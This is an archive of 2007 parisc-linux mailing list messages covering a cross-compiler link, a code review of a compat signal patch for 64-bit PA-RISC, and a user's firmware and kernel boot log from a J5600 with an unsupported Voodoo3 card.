In-Reply-To: <20070211165405.GA4050@athena.road.mcmartin.ca>
X-Mailer: Sylpheed version 2.2.4 (GTK+ 2.8.19; i686-pc-linux-gnu)
X-Spam-Status: No, hits=-0.961 required=5 tests=AWL,
	OSDL_HEADER_SUBJECT_BRACKETED
X-Spam-Checker-Version: SpamAssassin 2.63-osdl_revision__1.116__
X-MIMEDefang-Filter: osdl$Revision: 1.176 $
X-Scanned-By: MIMEDefang 2.36
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: vNG5Kr8HMydywoigZWpl5oZraGRhZtqj
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24323

> On Sun, 11 Feb 2007 11:54:05 -0500 Kyle McMartin <kyle@mcmartin.ca> wrote:
> On Sat, Feb 10, 2007 at 11:44:24PM -0800, Andrew Morton wrote:
> > I say this a lot, but...  It is in the interests of arch maintainers to
> > help others to build cross-compilers.  If someone were to prepare a web
> > page (or even a script) which could be used to generate a kernel
> > cross-compilation environment for parisc then the parisc maintainers would
> > see a lot less breakage.
> > 
> 
> Heh, I put this up last time you asked. :)
> 
> http://kyle.mcmartin.ca/hppa64-hp-linux-gcc-3.4.tar
> 

Drat, I have no memory of that.   Thanks..
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:38 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: [PATCH] Compat signal fixes for 64-bit parisc.
Date: Mon, 12 Feb 2007 21:18:40 -0500
Lines: 34
Approved: news@gmane.org
Message-ID: <20070213021840.GC20686__15703.5382152118$1416624288$gmane$org@athena.road.mcmartin.ca>
References: <119aab440702121814g7fbe0e90tf026c8f75ddd56d3@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624288 22746 80.91.229.3 (22 Nov 2014 02:44:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:44:48 +0000 (UTC)
Cc: Kyle McMartin <kyle@mcmartin.ca>,
 parisc-linux <parisc-linux@lists.parisc-linux.org>,
 Matthew Wilcox <matthew@wil.cx>
To: Carlos O'Donell <carlos@systemhalted.org>
Original-X-From: - Wed Jul 02 21:27:37 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 13 Feb 2007 02:19:13 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx087) with SMTP; 13 Feb 2007 03:19:13 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id E378A7DB1F;
	Mon, 12 Feb 2007 19:19:10 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 04849-08; Mon, 12 Feb 2007 19:19:10 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 970347DB53;
	Mon, 12 Feb 2007 19:19:08 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 7E1987DB1F
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 12 Feb 2007 19:19:06 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 04766-08 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 12 Feb 2007 19:19:04 -0700 (MST)
Original-Received: from stout.engsoc.carleton.ca (stout.engsoc.carleton.ca
	[134.117.69.22])
	by free.linux.hp.com (Postfix) with ESMTP id CA1EA7DA4B
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 12 Feb 2007 19:19:04 -0700 (MST)
Original-Received: from localhost (stout [127.0.0.1])
	by stout.engsoc.carleton.ca (Postfix) with ESMTP id 454875840A0;
	Mon, 12 Feb 2007 21:19:04 -0500 (EST)
Original-Received: from fattire.cabal.ca (cabal.ca [134.117.69.58])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(No client certificate requested)
	by stout.engsoc.carleton.ca (Postfix) with ESMTP id B793058409A;
	Mon, 12 Feb 2007 21:19:03 -0500 (EST)
Original-Received: from athena.road.mcmartin.ca
	(CPE0013d4367761-CM0012c9a9a56e.cpe.net.cable.rogers.com
	[74.105.6.106])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(Client CN "roadwarrior.mcmartin.ca",
	Issuer "there.is.no.cabal.ca" (verified OK))
	by fattire.cabal.ca (Postfix) with ESMTP id 62A1B837DB;
	Mon, 12 Feb 2007 21:19:03 -0500 (EST)
Original-Received: by athena.road.mcmartin.ca (Postfix, from userid 1000)
	id C9C943B06E; Mon, 12 Feb 2007 21:18:40 -0500 (EST)
Content-Disposition: inline
In-Reply-To: <119aab440702121814g7fbe0e90tf026c8f75ddd56d3@mail.gmail.com>
User-Agent: Mutt/1.5.13 (2006-08-11)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at engsoc.carleton.ca
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: RFG4KisfMydywoigZWplIJxraGRhZprg
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24324

On Mon, Feb 12, 2007 at 09:14:28PM -0500, Carlos O'Donell wrote:
> @@ -505,17 +505,15 @@ asmlinkage long compat_sys_rt_sigqueuein
> 	struct compat_siginfo __user *uinfo)
> {
> 	siginfo_t info;
> +	int ret;
> +	mm_segment_t old_fs = get_fs();
> 
> 	if (copy_siginfo_from_user32(&info, uinfo))
> 		return -EFAULT;
> 
> -	/* Not even root can pretend to send signals from the kernel.
> -	   Nor can they impersonate a kill(), which adds source info.  */
> -	if (info.si_code >= 0)
> -		return -EPERM;
> -	info.si_signo = sig;
> -
> -	/* POSIX.1b doesn't mention process groups.  */
> -	return kill_proc_info(sig, &info, pid);
> +	set_fs (KERNEL_DS);
> +	ret = sys_rt_sigqueueinfo(pid, sig, &info);
> +	set_fs (old_fs);
> +	return ret;
> }
> 

Why? We replicate the code in sys_rt_sigqueueinfo here to avoid the nasty
set_fs/get_fs hacks. See my compat_sys_sysinfo changes for reference.
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:38 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: [PATCH] Compat signal fixes for 64-bit parisc.
Date: Mon, 12 Feb 2007 21:23:48 -0500
Lines: 37
Approved: news@gmane.org
Message-ID: <20070213022348.GD20686__2147.41068562052$1416624289$gmane$org@athena.road.mcmartin.ca>
References: <119aab440702121814g7fbe0e90tf026c8f75ddd56d3@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624289 22748 80.91.229.3 (22 Nov 2014 02:44:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:44:49 +0000 (UTC)
Cc: Kyle McMartin <kyle@mcmartin.ca>,
 parisc-linux <parisc-linux@lists.parisc-linux.org>,
 Matthew Wilcox <matthew@wil.cx>
To: Carlos O'Donell <carlos@systemhalted.org>
Original-X-From: - Wed Jul 02 21:27:37 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 13 Feb 2007 02:24:23 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx029) with SMTP; 13 Feb 2007 03:24:23 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id EC0727DB6C;
	Mon, 12 Feb 2007 19:24:19 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 05074-07; Mon, 12 Feb 2007 19:24:19 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id B55697DB6D;
	Mon, 12 Feb 2007 19:24:17 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id CCF2B7DB56
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 12 Feb 2007 19:24:14 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 05158-03 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 12 Feb 2007 19:24:13 -0700 (MST)
Original-Received: from stout.engsoc.carleton.ca (stout.engsoc.carleton.ca
	[134.117.69.22])
	by free.linux.hp.com (Postfix) with ESMTP id 239C77DB53
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 12 Feb 2007 19:24:13 -0700 (MST)
Original-Received: from localhost (stout [127.0.0.1])
	by stout.engsoc.carleton.ca (Postfix) with ESMTP id 851345840A0;
	Mon, 12 Feb 2007 21:24:12 -0500 (EST)
Original-Received: from fattire.cabal.ca (cabal.ca [134.117.69.58])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(No client certificate requested)
	by stout.engsoc.carleton.ca (Postfix) with ESMTP id EBBAB58409A;
	Mon, 12 Feb 2007 21:24:11 -0500 (EST)
Original-Received: from athena.road.mcmartin.ca
	(CPE0013d4367761-CM0012c9a9a56e.cpe.net.cable.rogers.com
	[74.105.6.106])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(Client CN "roadwarrior.mcmartin.ca",
	Issuer "there.is.no.cabal.ca" (verified OK))
	by fattire.cabal.ca (Postfix) with ESMTP id 9158F837DB;
	Mon, 12 Feb 2007 21:24:11 -0500 (EST)
Original-Received: by athena.road.mcmartin.ca (Postfix, from userid 1000)
	id 4A67F3B06E; Mon, 12 Feb 2007 21:23:48 -0500 (EST)
Content-Disposition: inline
In-Reply-To: <119aab440702121814g7fbe0e90tf026c8f75ddd56d3@mail.gmail.com>
User-Agent: Mutt/1.5.13 (2006-08-11)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at engsoc.carleton.ca
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: bxnndFdYYmYSwOnCanc3f9NKWkZTQZQy
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24325

On Mon, Feb 12, 2007 at 09:14:28PM -0500, Carlos O'Donell wrote:
> I see we are back to using our antiquated version of
> copy_siginfo_to_user32. Let's stomp some bugs shall we? Please review.
> 

Well, you never pushed any of it upstream. I don't know what
you're complaining about.

> This fixes the tst-timer segfault with glibc head, and does a little
> cleanup. I have an acute feeling of deja-vu. Thankfully I feel taller
> than ever, and the whole fix only took a little sleuthing.
> 
> For nostalgia read..
> 
> Date	Wed, 10 Dec 2003 19:17:56 -0500
> From	Carlos O'Donell <>
> Subject	[RFC] Compat siginfo_t for 64-bit kernels running 32-bit 
> userspace.
> http://lkml.org/lkml/2003/12/10/225
> 
> ...and note the date.
> 

I'm well aware. You can't make such changes to the core kernel and then just
leave it for 3 years. We had to carry tens of KB of diff to the core kernel.

Whatever, I've hit a wall with parisc, anything I want to do is blocked on an
utter lack of documentation, so I pretty much have gone into maintenance mode
hibernation. I have cooler toys these days anyway.

-- Kyle
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:38 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [PATCH] Compat signal fixes for 64-bit parisc.
Date: Mon, 12 Feb 2007 21:47:06 -0500
Lines: 14
Approved: news@gmane.org
Message-ID: <20070213024706.GB30033__37597.2988120795$1416624289$gmane$org@athena.road.mcmartin.ca>
References: <119aab440702121814g7fbe0e90tf026c8f75ddd56d3@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624289 22750 80.91.229.3 (22 Nov 2014 02:44:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:44:49 +0000 (UTC)
Cc: Kyle McMartin <kyle@mcmartin.ca>,
 parisc-linux <parisc-linux@lists.parisc-linux.org>,
 Matthew Wilcox <matthew@wil.cx>
To: Carlos O'Donell <carlos@systemhalted.org>
Original-X-From: - Wed Jul 02 21:27:37 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 13 Feb 2007 02:47:39 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx091) with SMTP; 13 Feb 2007 03:47:39 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 30E807DBC5;
	Mon, 12 Feb 2007 19:47:36 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 05679-09; Mon, 12 Feb 2007 19:47:36 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 0D3EC7DBC6;
	Mon, 12 Feb 2007 19:47:35 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 01BAF7DBBE
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 12 Feb 2007 19:47:32 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 05686-06 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 12 Feb 2007 19:47:30 -0700 (MST)
Original-Received: from stout.engsoc.carleton.ca (stout.engsoc.carleton.ca
	[134.117.69.22])
	by free.linux.hp.com (Postfix) with ESMTP id 4E8787D655
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 12 Feb 2007 19:47:30 -0700 (MST)
Original-Received: from localhost (stout [127.0.0.1])
	by stout.engsoc.carleton.ca (Postfix) with ESMTP id EB7485840B0;
	Mon, 12 Feb 2007 21:47:29 -0500 (EST)
Original-Received: from fattire.cabal.ca (cabal.ca [134.117.69.58])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(No client certificate requested)
	by stout.engsoc.carleton.ca (Postfix) with ESMTP id 717C058409A;
	Mon, 12 Feb 2007 21:47:29 -0500 (EST)
Original-Received: from athena.road.mcmartin.ca
	(CPE0013d4367761-CM0012c9a9a56e.cpe.net.cable.rogers.com
	[74.105.6.106])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(Client CN "roadwarrior.mcmartin.ca",
	Issuer "there.is.no.cabal.ca" (verified OK))
	by fattire.cabal.ca (Postfix) with ESMTP id 0E642837DC;
	Mon, 12 Feb 2007 21:47:29 -0500 (EST)
Original-Received: by athena.road.mcmartin.ca (Postfix, from userid 1000)
	id A0F8A3B06E; Mon, 12 Feb 2007 21:47:06 -0500 (EST)
Content-Disposition: inline
In-Reply-To: <119aab440702121814g7fbe0e90tf026c8f75ddd56d3@mail.gmail.com>
User-Agent: Mutt/1.5.13 (2006-08-11)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at engsoc.carleton.ca
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: +BTmcgoSbGI0/6aDYmRnZYlncmZ1ZhzB
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24326

On Mon, Feb 12, 2007 at 09:14:28PM -0500, Carlos O'Donell wrote:
> +			addr = (unsigned int)((u64)from->si_addr & 
> 0xffffffffUL);

I think this could be ptr_to_compat() here?

Cheers,
	Kyle
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:38 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Michael Greene <listsnews@cox.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] J5600 Video
Date: Wed, 14 Feb 2007 17:12:53 -0500
Lines: 298
Approved: news@gmane.org
Message-ID: <45D38965.2070909__23691.2993285388$1416624289$gmane$org@cox.net>
References: <45CA42F4.2070207@cox.net> <e6eae0290702071605x213ec1cdq81dc168a390fb84b@mail.gmail.com> <200702101150.08977.deller@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=UTF-8;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624289 22754 80.91.229.3 (22 Nov 2014 02:44:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:44:49 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Helge Deller <deller@gmx.de>
Original-X-From: - Wed Jul 02 21:27:37 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <listsnews@cox.net>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 14 Feb 2007 22:12:51 -0000
Original-Received: from eastrmmtao06.cox.net (EHLO eastrmmtao06.cox.net) [68.230.240.33]
  by mx0.gmx.net (mx090) with SMTP; 14 Feb 2007 23:12:51 +0100
Original-Received: from eastrmimpo02.cox.net ([68.1.16.120]) by eastrmmtao06.cox.net
          (InterMail vM.6.01.06.03 201-2131-130-104-20060516) with ESMTP
          id <20070214221250.BNG22784.eastrmmtao06.cox.net@eastrmimpo02.cox.net>;
          Wed, 14 Feb 2007 17:12:50 -0500
Original-Received: from [192.168.1.2] ([70.161.87.144])
	by eastrmimpo02.cox.net with bizsmtp
	id PaCp1W00536rPti0000000; Wed, 14 Feb 2007 17:12:49 -0500
User-Agent: Mozilla/5.0 (OS/2; U; Warp 4.5; en-US; rv:1.8.1.2pre) Gecko/20070111 SeaMonkey/1.1
In-Reply-To: <200702101150.08977.deller@gmx.de>
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: AuW4LSw+TlIv7beQeGhrAnhGU2poZZkJ
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24327

Helge Deller wrote:
> On Thursday 08 February 2007, Max Grabert wrote:
>> On 07/02/07, Michael Greene <listsnews@cox.net> wrote:
>>> I have my old J5600 recompiled and running with 2.6.19.1 kernel. I put
>>> an old Voodoo3 2000 rev 1 in the secondary pci slot and it is recognized
>>> by the system (not compiled in the kernel just lspci).  Is there any
>>> trick to getting it to work with linux in the J5600 before I waste time
>>> trying?
>>
>> At one time I was trying to use a Voodoo3 3000 in a C3000, but I was
>> unsuccessful (linux fb wouldn't initialise/turn on the display, and
>> the native XFree86 driver would crash the machine).
>> That was about 2 years ago I think, and some things have changed since
>> then ... you might even be successful today. Just try and find out :-)
> 
> I think you will fail.
> If I remember correctly Vodoo3 needs the on-board i386 Graphics-BIOS to get into a useful state which can be used by vodoo fbdev driver.
> Vodoo1 or Vodoo2 do work as framebuffer devices though.
> 
> Helge

I guess you were correct. I finally got time to change and recompile the 
kernel. I pulled the old HP video card and inserted the Voodo3 2000 and 
here is the quick result:


Firmware Version 5.0


Duplex Console IO Dependent Code (IODC) revision 1

------------------------------------------------------------------------------

    (c) Copyright 1995-2000, Hewlett-Packard Company, All rights reserved

------------------------------------------------------------------------------


   Processor   Speed            State           Coprocessor State  I/D 
Cache

   ---------  --------   ---------------------  ----------------- 
-------------

       0      552 MHz    Active                 Functional         512 
kB/1 MB
       1      552 MHz    Idle                   Functional         512 
kB/1 MB

   Central Bus Speed:                   120 MHz

   Available memory:             1073741824 bytes
   Good memory required:           87908352 bytes

   Primary boot path:    FWSCSI.3.0
   Alternate boot path:  IDE
   Console path:         PCI7.0.0
   Keyboard path:        USB


CPU 0
NOTICE :  Processor self-tests have been disabled because FASTBOOT is
           enabled.  To enable self-tests, disable FASTBOOT with the 
FASTBOOT
           command in the CONFIGURATION menu and reboot the system.
NOTICE :  Memory has been initialized but not tested because FASTBOOT is
           enabled.  To test memory, disable FASTBOOT with the FASTBOOT
           command in the CONFIGURATION menu and reboot the system.


CPU 1
NOTICE :  Processor self-tests have been disabled because FASTBOOT is
           enabled.  To enable self-tests, disable FASTBOOT with the 
FASTBOOT
           command in the CONFIGURATION menu and reboot the system.



Processor is booting from first available device.


To discontinue, press any key within 10 seconds.


10 seconds expired.

Proceeding...


Searching for device(s) with bootable media...

This may take several minutes.


To discontinue search, press any key (termination may not be immediate).


Attempting to boot Primary Path...

BOOTABLE DEVICE FOUND:
    Path Number        Device Path              Device Type and Utilities

    -----------        -----------------        -------------------------

    P0                 FWSCSI.3.0               FUJITSU MAJ3182MC
                                                IPL


Booting...

Boot IO Dependent Code (IODC) revision 0

HARD Booted.

palo ipl 1.14 root@edna Mon Aug 14 12:52:46 Local time zone must be 
set--see zic manual page 2006


Partition Start(MB) End(MB) Id Type


1               1     478   f0 Palo


2             479     956   83 ext2


5             957   17366   83 ext2



PALO(F0) partition contains:

     0/vmlinux32 5178464 bytes @ 0x44000


Information: No console specified on kernel command line. This is normal.

PALO will choose the console currently used by firmware (serial).

Command line for kernel: 'root=/dev/sda5 TERM=vt102 acpi=on 
console=ttyS0 palo_kernel=2/linux-2.6.19.1-hppa'

Selected kernel: /linux-2.6.19.1-hppa from partition 2

ELF32 executable

Entry 00100080 first 00100000 n 3

Segment 0 load 00100000 size 3093140 mediaptr 0x1000

Segment 1 load 003f4000 size 581632 mediaptr 0x2f5000

Segment 2 load 004e8000 size 289668 mediaptr 0x383000

Branching to kernel entry point 0x00100080.  If this is the last

message you see, you may need to switch your console.  This is

a common symptom -- search the FAQ and mailing list at parisc-linux.org


Linux version 2.6.19.1-pa0 (root@j5600) (gcc version 4.1.1 (Gentoo 
4.1.1-r3)) #10 SMP Wed Feb 14 13:16:10 EST 2007
FP[0] enabled: Rev 1 Model 16
The 32-bit Kernel has started...
Initialized PDC Console for debugging.
Determining PDC firmware type: System Map.
model 00005d10 00000491 00000000 00000002 781d75ff 100000f0 00000008 
000000b2 000000b2
vers  00000300
CPUID vers 17 rev 10 (0x0000022a)
capabilities 0x3
model 9000/785/J5600
Total Memory: 1024 MB
LCD display at f05d0008,f05d0000 registered
SMP: bootstrap CPU ID is 0
Built 1 zonelists.  Total pages: 260096
Kernel command line: root=/dev/sda5 TERM=vt102 acpi=on console=ttyS0 
palo_kernel=2/linux-2.6.19.1-hppa
PID hash table entries: 4096 (order: 12, 16384 bytes)
Console: colour dummy device 160x64
Dentry cache hash table entries: 131072 (order: 7, 524288 bytes)
Inode-cache hash table entries: 65536 (order: 6, 262144 bytes)
Memory: 1032960k/1048576k available (2645k kernel code, 15488k reserved, 
922k data, 236k init)
virtual kernel memory layout:
     vmalloc : 0x00008000 - 0x0f000000   ( 239 MB)
     memory  : 0x10000000 - 0x50000000   (1024 MB)
